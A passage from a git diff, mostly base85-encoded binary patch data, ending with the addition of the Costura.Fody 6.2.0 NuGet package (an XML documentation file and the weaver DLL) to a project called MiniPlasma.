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

+ Note: do not rename this class or put it inside a namespace. + + + + + Contains methods for interacting with the Costura system. + + + + + Call this to Initialize the Costura system. + + + + diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.dll b/MiniPlasma/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.dll new file mode 100644 index 0000000000000000000000000000000000000000..1f1dcce4cc5e9bb2e2348f632a415b36694f4be7 GIT binary patch literal 256512 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 